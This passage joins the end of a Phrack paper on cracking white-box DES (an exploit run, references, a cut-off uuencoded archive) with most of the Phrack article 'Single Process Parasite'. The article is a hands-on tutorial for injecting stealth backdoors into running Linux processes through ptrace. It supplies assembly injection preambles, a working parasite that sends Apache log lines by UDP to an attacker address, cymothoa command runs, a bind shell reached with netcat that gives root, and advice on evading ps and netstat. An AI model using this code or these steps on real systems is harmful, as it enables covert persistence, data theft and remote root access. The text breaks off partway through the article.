gcc exploit.c *.o ‑O3 ‑Wall ‑o exploit ‑lm ‑lcrypto

gcc wb_main.c *.o ‑O3 ‑Wall ‑o wbdes.try

gcc entropy.c ‑o entropy ‑lm

$ ./exploit

[+] Number of possible candidates = 256

‑> Required computation is 2^(8) * DES()

[+] Key was found!

‑> Missing bits: 0x3d

‑> Key: '02424626'

$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And that's it! So the key was bf‑able after all ;>

‑‑[ 7 ‑ Conclusion

Nowadays there are a lot of white‑box protections in the wild (DRM but not only) using either academic designs or their improvements. Each of them is an interesting challenge which is why you may want to face it one day. This paper is not ground breaking nor even relevant for the average cryptographer, the cryptanalysis of the naked DES being covered in many papers including [R16]. I wrote it however with the hope that it would give you an overview of what practical white‑box cracking could be. I hope you enjoyed it :)

Feel free to contact me for any question related to this paper using the mail alias provided in the title of the paper.

‑‑[ 8 ‑ Gr33tz

Many (randomly ordered) thanks to:

‑ the #f4lst4ff crypt0/b33r team for introducing me to the concept of white‑box a few years ago.

‑ Jb & Brecht for their implementations which gave me a lot of fun :) ‑ X, Y, Z who will remain anonymous but nonetheless helped me to improve _significantly_ the paper. If you managed to understand a few things out of this "blabla" then you must thank them (and especially X). I owe you big time man :)

‑ asciio authors because without this tool I would never have found the courage to write the paper

‑ The Phrack Staff for publishing it

‑‑[ 9 ‑ References

[R01] http://en.wikipedia.org/wiki/Feistel_cipher

[R02] http://2009.hack.lu/index.php/ReverseChallenge

[R03] http://baboon.rce.free.fr/index.php?post/2009/11/20/

HackLu‑Reverse‑Challenge

[R04] http://www.whiteboxcrypto.com

[R05] "Cryptanalysis of a White Box AES Implementation", Billet et al. http://bo.blackowl.org/papers/waes.pdf

[R06] "Digital content protection: How to crack DRM and make them more resistant", Jean‑Baptiste Bedrune http://esec‑lab.sogeti.com/dotclear/public/publications/

10‑hitbkl‑drm.pdf

[R07] "White‑Box Cryptography and an AES Implementation", Eisen et al. http://www.scs.carleton.ca/%7Epaulv/papers/whiteaes.lncs.ps

[R08] "White‑Box Cryptography and SPN ciphers", Schelkunov http://eprint.iacr.org/2010/419.pdf

[R09] "A White‑box DES Implementation for DRM Applications", Chow et al. http://www.scs.carleton.ca/%7Epaulv/papers/whitedes1.ps

[R10] "White‑Box Cryptography", James Muir, Irdeto http://www.mitacs.ca/events/images/stories/focusperiods/

security‑presentations/jmuir‑mitacs‑white‑box‑cryptography.pdf [R11] http://search.cpan.org/dist/App‑Asciio/lib/App/Asciio.pm#NAME

[R12] http://dhost.info/pasjagor/des/start.php

[R13] "Cryptography: Theory and Practice", D. Stinson, 1st edition [R14] "Clarifying Obfuscation: Improving the Security of White‑Box Encoding", Link et al. http://eprint.iacr.org/2004/025.pdf

[R15] "White‑Box Cryptography" (PhD thesis), B. Wyseur https://www.cosic.esat.kuleuven.be/publications/thesis‑152.pdf

[R16] "Attacking an obfuscated cipher by injecting faults", Jacob et al. http://www.cs.princeton.edu/~mjacob/papers/drm1.pdf

[R17] "Cryptanalysis of White‑Box DES Implementations with Arbitrary External Encodings", B. Wyseur http://eprint.iacr.org/2007/104.pdf

‑‑[ 10 ‑ Appendix

begin 644 p68‑exploit.tgz M'XL(``$N74\``^Q<>W,:Q[+WO_`I)DY9`1G)^P9)H)0?<J*R8[DLY22G$*$6 end

Single Process Parasite

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x09 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Single Process Parasite ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The quest for the stealth backdoor ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Crossbower ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Index

‑‑‑‑‑‑[ 0. Introduction

‑‑‑‑‑‑[ 1. Brief discussion on injection methods

‑‑‑‑‑‑[ 2. First generation: fork() and clone()

‑‑‑‑‑‑[ 3. Second generation: signal()/alarm()

‑‑‑‑‑‑[ 4. Third generation: setitimer()

‑‑‑‑‑‑[ 5. Working parasites

‑‑‑‑‑‑‑‑‑‑‑‑[ 5.1 Process and thread backdoor

‑‑‑‑‑‑‑‑‑‑‑‑[ 5.2 Remote "tail follow" parasite

‑‑‑‑‑‑‑‑‑‑‑‑[ 5.3 Single process backdoor

‑‑‑‑‑‑[ 6. Something about the injector

‑‑‑‑‑‑[ 7. Further readings

‑‑‑‑‑‑[ 8. Links and references

‑‑‑‑‑‑[ 0. Introduction

In biology a parasite is an organism that grows, feeds, and live in a different organism while contributing nothing to the survival of its host.

(There is another interesting definition that, even if it's less relevant, I find funny: a professional dinner guest, especially in ancient Greece. >From Greek parastos, person who eats at someone else's table, parasite : para‑,beside; stos, grain, food.)

So, without digressing too much, what do we mean by "parasite" in this document? A parasite is simply some executable code that lives within another process, but that was injected after its loading time, by a third person/program.

Any process can become infected quite easily, using standard libraries provided by operating systems (we will use process trace, ptrace [0]).

The real difficulty for the parasite is to coexist peacefully with the host process, without killing it. For "death" of the host we also intend a situation where, even if the process remains active, it is no longer able to work properly, because its memory has been corrupted.

The of goal this document is to create a parasite that live and let live the host process, as if nothing had happened.

Starting with simple techniques, and and gradually improving the parasite, we'll reach a point where our creature is scheduled inside the process of the host, without the need of fork() or similar calls (i.e. clone()).

An interesting question is: why a parasite is an excellent backdoor?

The simplest answer is that a parasite hides what is not permitted in what is allowed, so that:

‑ it's difficult to detect using conventional tools

‑ it's more stable and easy to use than kernel‑level rootkits.

If the target system has security tools that automatically monitor the integrity of executable files, but that do not perform complete audits of memory, the parasite will not trigger any alarm.

After this introduction we can dive into the problematic.

If you prefer practical examples, you can "jump" to paragraph 5, which shows three different types of real parasite.

‑‑‑‑‑‑[ 1. Brief discussion on injection methods

To separate the creation of the shellcode from the methods used to inject it into the host process, this section will discuss how the parasite is injected (in the examples of this document).

Unlike normal shellcode that, depending on the vulnerability exploited, can not contain certain types of characters (e.g. NULLs), a parasite has no particular restrictions.

It can contain any character, even NULL bytes, because ptrace [0] allows to modify directly the .text section of a process.

The first question that arises regards where to place parasitic code. This memory location must not be essential to the program, and should not be invoked by the code after the start (or shortly after the start) of the host process.

We can use run‑time patching, but it's complicated technique and makes it difficult to ensure the correct functioning of the process after the manipulation. It is therefore not suitable for complex parasites.

The author has chosen to inject the code into the memory range of libdl.so library, since it is used during the loading stage of programs but then usually no longer necessary (more info: [1][2]).

Another reason for this choice is that the memory address of the library, when loaded into the process, is exported in the /proc filesystem.

You can easily see that by typing:

$ cat /proc/self/maps

...

b7778000‑b777a000 rw‑p 00139000 fe:00 37071197 /lib/libc‑2.7.so b777a000‑b777d000 rw‑p b777a000 00:00 0

...

b7782000‑b779c000 r‑xp 00000000 fe:00 37071145 /lib/ld‑2.7.so <‑‑...

Libdl is mapped at the range b7782000‑b779c000 and is executable. The injected starting at the initial address of the range is perfectly executable.

Some considerations about this method: if the infected program uses dlopen(), dlclose() or dlsym() during its execution, some problems could arise. The solution is to inject into the same library, but in unused memory locations.

(From the tests of the author the initial memory locations of the library are not critical and do not affect the execution of programs.)

There are other problems on linux systems that use the grsec kernel patch. Using this patch the text segment of the host process is marked read/execute only and therefore will not be writable with ptrace. If that's your case, Ryan O'Neill has published a very powerful algorithm [3] that exploits sysenter instructions (used by the host's code) to execute a serie of system calls (the algorithm is able to allocate and set the correct permission on a new memory area without modifying the text segment of the traced process).

I recommend everyone read the document, as it is very interesting.

The other premise, I want to do in this section, regards the basic informations the injector (the program that injects the parasite) must provide to the shellcode to restore the execution of the host program.

Our implementation of the injector gets the current EIP (Instruction Pointer) of the host process, push it on the stack and writes in the EIP the address of the parasite (injected into libdl).

The parasite, in its initialization part, saves every register it uses. Then, at the end of its execution, every modified register is restored. A simple way to do this is to push and pop the registers with the instructions PUSHA and POPA.

After that, a simple RET instruction restores the execution of the host process, since the its saved EIP is on the top of the stack.

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

parasite_skeleton:

# preamble

push %eax # save registers

push %ebx # used by the shellcode

# ...

# shellcode

# ...

# epilogue

pop %ebx # restore modified registers

pop %eax # ...

ret # restore execution of the host

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

Another very useful information the injector provides to the shellcode, is the address of a persistent memory location. In the case of this document, the address is also taken from /proc/pid/maps:

...

b7701000‑b771c000 r‑xp 00000000 08:03 1261592 /lib/ld‑2.11.1.so b771c000‑b771d000 r‑‑p 0001a000 08:03 1261592 /lib/ld‑2.11.1.so b771d000‑b771e000 rw‑p 0001b000 08:03 1261592 /lib/ld‑2.11.1.so <‑...

The range b771d000‑b771e000 has read and write permission and it's suitable for this purpose.

Other techniques exists to dynamically create writable and executable memory locations, such as the use of mmap() in the host process. But these techniques are beyond the scope of this article and will not be analyzed here.

Since the necessary premises have been made, we can discuss the first generation of our stealth parasite.

‑‑‑‑‑‑[ 2. First generation: fork() and clone()

The simplest idea to allow the host process to continue its execution properly and, at the same time, hide the parasite, is the use of the fork() syscall (or the creation of a new thread, not analyzed here).

Using fork() the process is splitted in two:

‑ the parent process (the original one) can continue its normal execution ‑ the child process, instead, will execute the parasite

An important thing to note, is that the child process inherits the parent's name and a copy of its memory.

This means that if we inject the parasite in the process "server1", another process "server1" will be created as its child.

Before the injection:

# ps ‑A

...

...

5478 ? 00:00:00 server1

...

After the injection:

# ps ‑A

...

...

5478 ? 00:00:00 server1

5479 ? 00:00:00 server1

...

If the host process is carefully chosen, the parasite will be very hard to detect. Just think of some network services (such as apache2) that generate a lot of children: a single child process is unlikely to be detected.

The fork parasite can be implemented as a preamble preceding the real shellcode:

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

fork_parasite:

push %eax # save %eax value (needed by parent process)

push $2

pop %eax

int $0x80 # fork

test %eax, %eax

jz shellcode # child: jumps to shellcode

pop %eax # parent: restores host process execution ret

shellcode: # append your shellcode here

# ...

# ...

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

The preamble simply makes a call to fork(), analyzes the results, and decides the execution path to choose.

With this implementation, any existing shellcode can be turned into a parasite: it's responsibility of the injector to concatenate the parts before inserting them in the host.

A very similar technique uses clone() instead of fork(). We can consider clone() a generalization of the fork() syscall through which it's possible to create both processes and threads.

The difference is in the options passed to the syscall. A thread is generated using particular flags:

‑ CLONE_VM the calling process and the child process run in the same memory space. Memory writes performed by the calling process or by the child process are also visible in the other process.

Any memory mapping or unmapping performed by the child or the calling process also affects the other process.

‑ CLONE_SIGHAND the calling process and the child process share the same table of signal handlers.

‑ CLONE_THREAD the child is placed in the same thread group as the calling process.

The CLONE_THREAD flag is the most important: it is what distinguishes what we call the "process" from what we call "thread" at least on linux systems.

Let's see how the clone() preamble is implemented:

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

clone_parasite:

pusha # save registers (needed by parent process)

# call to sys_clone

xorl %eax, %eax

mov $120, %al

movl $0x18900, %ebx # flags: CLONE_VM|CLONE_SIGHAND|

# CLONE_THREAD|CLONE_PARENT

int $0x80 # clone

test %eax, %eax

jz shellcode # child: jumps to shellcode

popa # parent: restores host process execution ret

shellcode: # append your shellcode here

# ...

# ...

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

The code is based on the fork() preamble, and its behaviour is very similar. The difference is in the result.

Before the injection (single threaded process):

# ps ‑Am

...

...

8360 pts/3 00:00:00 server1

‑ ‑ 00:00:00 ‑

...

After the injection (an additional thread is created):

# ps ‑A

...

...

8360 pts/3 00:00:00 server1

‑ ‑ 00:00:00 ‑

‑ ‑ 00:00:00 ‑

...

Surely the generation of a thread is more stealthy than the generation of a process. However there is a small disadvantage, if the parasite thread alters parts of the main thread can bring the host to a crash: the use of the resources, that are shared, must be much more careful.

We have just seen how to create parasites executed as independent processes or threads.

However, these types of parasites are not completely invisible. In some circumstances, and in the case of particular (monitored) processes, the generation of a child (process or thread) can be problematic or easily detectable.

Therefore, in the next section, we will discuss in a different type of parasite/preamble, deeply integrated with its host.

‑‑‑‑‑‑[ 3. Second generation: signal()/alarm()

If we don't like the creation of another process to execute our parasite we need some kind of time sharing mechanism inside a single process (did you see the title of this document?)

It's a scheduling problem: when a new process is created, the operating system takes care of assigning it time and resources necessary to its execution.

If we don't want to rely on this mechanism, we have to simulate a scheduler within a single process, to allow a concurrent execution of parasite and host, using (usually) asynchronous events.

When you think of asynchronous events in a Unix‑like system, the first thing that comes to mind are signals.

If a process registers a handler for a specific signal, when the signal is sent the operating system stops its normal execution and makes a (void function) call to the handler.

When the handler returns, the execution of the process is restored.

There are several functions provided by the operating system to generate signals. In this chapter we'll use alarm().

Alarm() arranges for a SIGALRM signal to be delivered to the calling process when an arbitrary number of seconds has passed.

Its main limitation is that you can not specify time intervals shorter than one second, but this is not a problem in most cases.

Our parasite/preamble needs to register itself as a handler for the signal SIGALRM, and renew the timer every time it is executed, to be called at regular intervals.

This creates a kind of scheduler within a single process, and there is no the need to call fork() (or functions to create threads).

Here is our second generation parasite/preamble:

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

# signal/alarm parasite

handler:

pusha

# alarm(timeout)

xorl %eax, %eax

xorl %ebx, %ebx

mov $27, %al

mov $0x1, %bl # 1 second

int $0x80

schedule:

# signal(SIGALRM, handler)

xorl %eax, %eax

xorl %ebx, %ebx

mov $48, %al

mov $14, %bl

jmp schedule_end # load schedule_end address load_handler:

pop %ecx

subl $0x23, %ecx # adjust %ecx to point handler() int $0x80

popa

jmp shellcode

schedule_end:

call load_handler

shellcode: # append your shellcode here

# ...

# ...

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

Of course the type of shellcode you can append to the preamble must be aware of the "alternative" scheduling mechanism.

It must be able to split its operations between multiple calls, and must also not take too much time to run a single step (i.e. a single call), to not slow down the host program or overlap with the next handler call.

In short, a call to the handler (our parasite), to work properly must last less than the timer interval.

However, alert() is not the only function able to simulate a scheduler. In the next chapter we will see a more advanced function, which allows a more granular control of the execution of the parasite.

‑‑‑‑‑‑[ 4. Third generation: setitimer()

We've just arrived at the latest generation of the parasite. In the first part of the chapter we'll spend some time to analyze the function setitimer(), on which the code is based.

The definition of the function is:

int setitimer(int which, const struct itimerval *new_value, struct itimerval *old_value);

As in the case of alarm(), the function setitimer() provides a mechanism for a process to interrupt itself in the future using signals. Unlike alarm, however, you can specify intervals of a few microseconds and choose various types of timers and time domains.

The argument "int which" allows to choose the type of timer and therefore the signal that will be sent to the process:

ITIMER_REAL 0x00 the most used timer, it decrements in real time, and delivers SIGALRM upon expiration.

ITIMER_VIRTUAL 0x01 decrements only when the process is executing, and delivers SIGVTALRM upon expiration.

ITIMER_PROF 0x02 decrements both when the process executes and when the system is executing on behalf of the process. Coupled with ITIMER_VIRTUAL, this timer is usually used to profile the time spent by the application in user and kernel space. SIGPROF is delivered upon expiration.

We will use ITIMER_REAL because it allows the generation of signal at regular intervals, and is not influenced by environmental factors such as the workload of a system.

The argument "const struct itimerval *new_value" points to an itimerval structure, defined as:

struct itimerval {

struct timeval it_interval; /* next value */

struct timeval it_value; /* current value */

};

struct timeval {

long tv_sec; /* seconds */

long tv_usec; /* microseconds */

};

The last timeval structure, it_value, is the period between the calling of the function and the first timer interrupt. If zero, the alarm is disabled.

The second one, it_interval, is the period between successive timer interrupts. If zero, the alarm will only be sent once.

We'll set both structures at the same time interval.

The last argument, "struct itimerval *old_value", if not NULL, will be set by the function at the value of the previous timer. We'll not use this feature.

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

# setitimer parasite

setitimer_hdr:

pusha

# sys_setitimer(ITIMER_REAL, *struct_itimerval, NULL) xorl %eax, %eax

xorl %ebx, %ebx

xorl %edx, %edx

mov $104, %al

jmp struct_itimerval # load itimervar structure load_struct:

pop %ecx

int $0x80

popa

jmp handler

struct_itimerval:

call load_struct

# itimerval structure: you can modify the values

# to set your time intervals

.long 0x0 # seconds

.long 0x5000 # microseconds

.long 0x0 # seconds

.long 0x5000 # microseconds

# signal handler, called by the timer

handler:

pusha

# signal(SIGALRM, handler)

xorl %eax, %eax

xorl %ebx, %ebx

mov $48, %al

mov $14, %bl

jmp handler_end # load handler_end address load_handler:

pop %ecx

subl $0x19, %ecx # adjust %ecx to point handler() int $0x80

popa

jmp shellcode

handler_end:

call load_handler

shellcode: # append your shellcode here

# ...

# ...

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

The usage of this preamble is similar to the previous (alarm) one, there is only the necessity of a fine‑tuned timer: a compromise between the frequency of executions and the stability of the parasite, which must be able to carry out its operations in less time than a timer's cycle.

You can work around this problem by transforming these preambles (including the preamble that makes use of alarm()) in epilogues, so that the timer starts counting only after the parasite has finished its operations.

In fact we are going to see how this was implemented in the real parasites presented below.

‑‑‑‑‑‑[ 5. Working parasites

Here we come to the practical part. Three working parasites will be presented: one for each technique exposed in the theoretical part of the document.

To inject the parasites the injector cymothoa [4] was used, written by the same author, and which already includes the codes presented in the article. Although it is possible, through various techniques, to inject shellcodes in processes, the download of the program is recommended to try the examples during the lecture.

‑‑‑‑‑‑‑‑‑‑‑‑[ 5.1 Process and thread backdoor

Our first real parasite is a backdoor created by applying, to pre‑existing shellcode, the fork() preamble.

The shellcode used was developed by izik (izik@tty64.org) and is available on several sites [5]. For this reason will not be reported.

The shellcode is a classic exploit shellcode: it binds /bin/sh to a TCP port and fork a shell for every connection.

Using it aided by an injector, has several advantages:

‑ The ability to configure its behavior. In this case the possibility to choose the port to listen on.

‑ The possibility of keeping the host alive using a one of the preamble shown earlier.

‑ Not having to worry about memory locations necessary to the execution and data storage, since they are automatically provided.

Let's see in practice how this parasite works...

First, on the victim machine, we must identify a suitable host process. In this example we will use an instance of cat, since it's really easy to check if it continues its execution after the injection.

root@victim# ps ‑A | grep cat

1727 pts/6 00:00:00 cat

We need this pid for the injection:

root@victim# cymothoa ‑p 1727 ‑s 1 ‑y 5555

[+] attaching to process 1727

register info:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

eax value: 0xfffffe00 ebx value: 0x0

esp value: 0xbf81e1c8 eip value: 0xb78be430

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[+] new esp: 0xbf81e1c4

[+] payload preamble: fork

[+] injecting code into 0xb78bf000

[+] copy general purpose registers

[+] detaching from 1727

[+] infected!!!

root@victim#

The process is now infected: we should be able to see two cat instances, the original one and the new one that corresponds to the parasite:

root@victim# ps ‑A | grep cat

1727 pts/6 00:00:00 cat

1842 pts/6 00:00:00 cat

If, from a different machine, we try to connect to the port 5555, we should get a shell:

root@attacker# nc ‑vv victim 5555

Connection to victim 5555 port [tcp/*] succeeded!

uname ‑a

Linux victim 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux whoami

root

At the same time, if we write a few lines in the console where the original cat is running, we should see the usual output:

root@victim# cat

test123

test123

foo

foo

The backdoor function properly: the two processes are running at the same time without crashing...

The same backdoor can also be injected in a similar way using the clone() preamble, and thus running the parasite as a new thread instead of a new process.

The command is similar, we only disable the fork() preamble and force clone() instead:

root@victim# cymothoa ‑p 9425 ‑s 1 ‑y 5555 ‑F ‑b

[+] attaching to process 9425

register info:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

eax value: 0xfffffe00 ebx value: 0x0

esp value: 0xbfb4beb8 eip value: 0xb78da430

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[+] new esp: 0xbfb4beb4

[+] payload preamble: thread

[+] injecting code into 0xb78db000

[+] copy general purpose registers

[+] detaching from 9425

[+] infected!!!

If we execute ps without special flags we now see only one process:

root@victim# ps ‑A | grep cat

9425 pts/3 00:00:00 cat

But with the option ‑m we see an additional thread:

root@victim# ps ‑Am

...

9425 pts/3 00:00:00 cat

‑ ‑ 00:00:00 ‑

‑ ‑ 00:00:00 ‑

...

...

Using netcat on the port 5555 of the victim machine works as expected.

Some notes on the proper use of the fork() and clone() preambles: ‑ This preamble is compatible with virtually any existing shellcode, without any modification. It can be used to easily transform into parasitic code what you have already written.

In the case of clone() preamble the situation is slightly more critical because there is the possibility that the parasite thread interferes with the host thread. However, widespread shellcodes are usually already attentive to these issues, and should not cause problems. ‑ It is better to inject the parasite into servers that generate many child processes. Some of those tested by me are apache2, dhclient3 and, in the case of a desktop system, the processes of the window manager. It's hard to find a needle in a haystack, and it is difficult to tell a single parasite from dozens of apache2 processes ;)

‑‑‑‑‑‑‑‑‑‑‑‑[ 5.2 Remote "tail follow" parasite

Have you ever used tail with the "‑f" (follow) option? This mode is used to monitor text files, usually logs, to see in real time the new lines added by other processes.

Tail accepts as option a sleep interval, a waiting time between a control of the file and another.

It's therefore natural, when writing a parasite with the same function, to use a preamble that allows a precise control of time: the setitimer() preamble.

This is the code of this new parasite... It is more complex than the previous codes.

After the source there will be a brief explanation of its operations, and finally an example of its practical use.

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

#

# Scheduled tail setitimer parasite

#

#

# Preamble

#

setitimer_hdr:

pusha

# sys_setitimer(ITIMER_REAL, *struct_itimerval, NULL)

xorl %eax, %eax

xorl %ebx, %ebx

xorl %edx, %edx

mov $104, %al

jmp struct_itimerval

load_struct:

pop%ecx

int$0x80

popa

jmphandler

struct_itimerval:

callload_struct

# these values are replaced by the injector:

.long 0x0#53434553 # seconds

.long 0x5343494d # microseconds

.long 0x0#53434553 # seconds

.long 0x5343494d # microseconds

handler:

pusha

# signal(SIGALRM, handler)

xorl%eax, %eax

xorl%ebx, %ebx

mov$48, %al

mov$14, %bl

jmphandler_end

load_handler:

pop%ecx

subl$0x19, %ecx # adjust %ecx to point handler()

int$0x80

popa

jmpshellcode

handler_end:

call load_handler

#

# The shellcode starts here

#

shellcode:

pusha

# check if already initialized

mov $0x4d454d50, %esi # replaced by the injector

# (persistent memory address)

mov (%esi), %eax

cmp $0xdeadbeef, %eax

je open_call # jump if already initialized

# initialize

mov $0xdeadbeef, %eax

mov %eax, (%esi)

add $4, %esi

xorl %eax, %eax

mov %eax, (%esi)

sub $4, %esi

open_call:

# call to sys_open(file_path, O_RDONLY)

xorl %eax, %eax

mov $5, %al

jmp file_path

load_file_path:

pop %ebx

xorl %ecx, %ecx

int $0x80 # %eax = file descriptor

mov %eax, %edi # save file descriptor

check_file_length:

# call to sys_lseek(fd, 0, SEEK_END)

mov %edi, %ebx

xorl %eax, %eax

mov $19, %al

xorl %ecx, %ecx

xorl %edx, %edx

mov $2, %dl

int $0x80 # %eax = end of file offset (eof)

# get old eof, and store new eof

add $4, %esi

mov (%esi), %ebx

mov %eax, (%esi)

# skip the first read

test %ebx, %ebx

jz return_to_main_proc

# check if file is larger

# (current end of file > previous end of file)

cmp %eax, %ebx

je return_to_main_proc # eof not changed:

# return to main process

calc_data_len:

# calculate new data length

# (current eof ‑ last eof)

mov %eax, %esi

sub %ebx, %esi # saved in %esi

set_new_position:

# call to sys_lseek(fd, last_eof, SEEK_SET)

xorl %eax, %eax

mov $19, %al

mov %ebx, %ecx

mov %edi, %ebx

xorl %edx, %edx

int $0x80 # %eax = last end of file offset

read_file_tail:

# allocate buffer

sub %esi, %esp

# call to sys_read(fd, buf, count)

xorl %eax, %eax

mov $3, %al

mov %edi, %ebx

mov %esp, %ecx

mov %esi, %edx

int $0x80 # %eax = bytes read

mov %esp, %ebp # save pointer to buffer

open_socket:

# call to sys_socketcall($0x01 (socket), *args)

xorl %eax, %eax

mov $102, %al

xorl %ebx, %ebx

mov $0x01, %bl

jmp socket_args

load_socket_args:

pop %ecx

int $0x80 # %eax = socket descriptor

jmp send_data

socket_args:

call load_socket_args

.long0x02# AF_INET

.long0x02# SOCK_DGRAM

.long0x00# NULL

send_data:

# prepare sys_socketcall (sendto) arguments

jmp struct_sockaddr

load_sockaddr:

pop %ecx

push $0x10 # sizeof(struct_sockaddr)

push %ecx # struct_sockaddr address

xorl %ecx, %ecx

push %ecx # flags

push %edx # buffer len

push %ebp # buffer pointer

push %eax # socket descriptor

# call to sys_sendto($11 (sendto), *args)

xorl %eax, %eax

mov $102, %al

xorl %ebx, %ebx

mov $11, %bl

mov %esp, %ecx

int $0x80

jmp restore_stack

struct_sockaddr:

call load_sockaddr

.short0x02 # AF_INET

.short0x5250 # PORT (replaced by the injector)

.long0x34565049 # DEST IP (replaced by the injector)

restore_stack:

# restore stack

pop %ebx # socket descriptor

pop %eax # buffer pointer

pop %edx # buffer len

pop %eax # flags

pop %eax # struct_sockaddr address

pop %eax # sizeof(struct_sockaddr)

# deallocate buffer

add %edx, %esp

close_socket:

# call to sys_close(socket)

xorl %eax, %eax

mov $6, %al

int $0x80

return_to_main_proc:

# call to sys_close(fd)

xorl %eax, %eax

mov $6, %al

mov %edi, %ebx

int $0x80

# return

popa

ret

file_path:

call load_file_path

.ascii "/var/log/apache2/access.log"

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

The code is not written in a super‑compact way, since the space it's not a problem and the ease of programming and modification has been preferred.

The code can be summarized in a few steps:

1) Preable (we already know).

2) Check to see if it's the first execution. This step makes use of a persistent memory location, provided by the injector.

3) File open and check of length.

4) Comparison with previous file's length.

4.1) If unchanged the parasite returns the execution to the host process. 4.2) If changed the execution continues.

5) Read the new lines of the file.

6) Send the new lines to the attacker via UDP

7) Restore the stack

8) Return the execution to the host process.

The shellcode receives several parameters from the injector: the address of a persistent memory location, the attacker IP address and port, and the microsecond interval for the timer.

The injector simply replaces known hexadecimal mark with these parameters during the injection. You can see where the replacements occur looking at the comments of the code.

Now on to the fun part: the practical use of the parasite.

The first thing to do is to prepare the server on the attacker's machine to receive data. Inside the main directory of the injector is present a simple implementation of UDP server.

You need only to specify an available port:

root@attacker# ./udp_server 5555

./udp_server: listening on port UDP 5555

Now we can move to the victim's machine, and choose suitable process. For simplicity we will use cat again.

To inject the parasite we must specify some parameters:

root@victim# ./cymothoa ‑p `pidof cat` ‑s 14 ‑k 5000 ‑x attacker_ip ‑y 5555 [+] attaching to process 4694

register info:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

eax value: 0xfffffe00 ebx value: 0x0

esp value: 0xbfa9f3f8 eip value: 0xb77e8430

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[+] new esp: 0xbfa9f3f4

[+] injecting code into 0xb77e9000

[+] copy general purpose registers

[+] persistent memory at 0xb7805000 (if used)

[+] detaching from 4694

[+] infected!!!

The process is now infected. No new process has been created.

Now, assuming an apache2 server is running, we can try to make some requests to the server to update /var/log/apache2/access.log (the file we are monitoring).

root@attacker# curl victim_ip

<html><body><h1>It works!</h1>

<p>This is the default web page for this server.</p>

<p>The web server software is running but no content has been added.</p> </body></html>

If everything worked properly we should see, in the console of the UDP server UDP, the new lines generated by our requests:

root@attacker# ./udp_server 5555

./udp_server: listening on port UDP 5555

::1 ‑ ‑ [26/May/2011:11:18:57 +0200] "GET / HTTP/1.1" 200 460 "‑" "curl/7.19.7 (i486‑pc‑linux‑gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15"

::1 ‑ ‑ [26/May/2011:11:19:26 +0200] "GET / HTTP/1.1" 200 460 "‑" "curl/7.19.7 (i486‑pc‑linux‑gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15"

...

Et voila, we have a remote file sniffer!

Of course the connections do not appear in the output of tools like netstat, as they are only brief exchanges of data, and sockets are open only when the monitored file has new lines (and immediately closed).

Some notes on the proper use of this preamble and parasite: ‑ This preamble is usually not compatible with virtually existing shellcode. The code must be modified to return the execution to the host process, restoring stack and registers.

‑ It is better to inject the parasite into servers that run all the time the machine is on, but do not use processor very much. The server dhclient3 is a perfect host.

‑‑‑‑‑‑‑‑‑‑‑‑[ 5.3 Single process backdoor

We have just arrived at the last and perhaps most interesting example of parasite of this document.

That's what the author wanted to obtain: a backdoor that can live within another process, without calls to fork() and without creating new threads.

The backdoor listens on a port (customizable by the injector), and periodically checks if a client is connected. This part has been implemented using nonblocking sockets and a modified alarm() preamble.

When a client is connected, it obtains a shell: the only time a call to fork() is made.

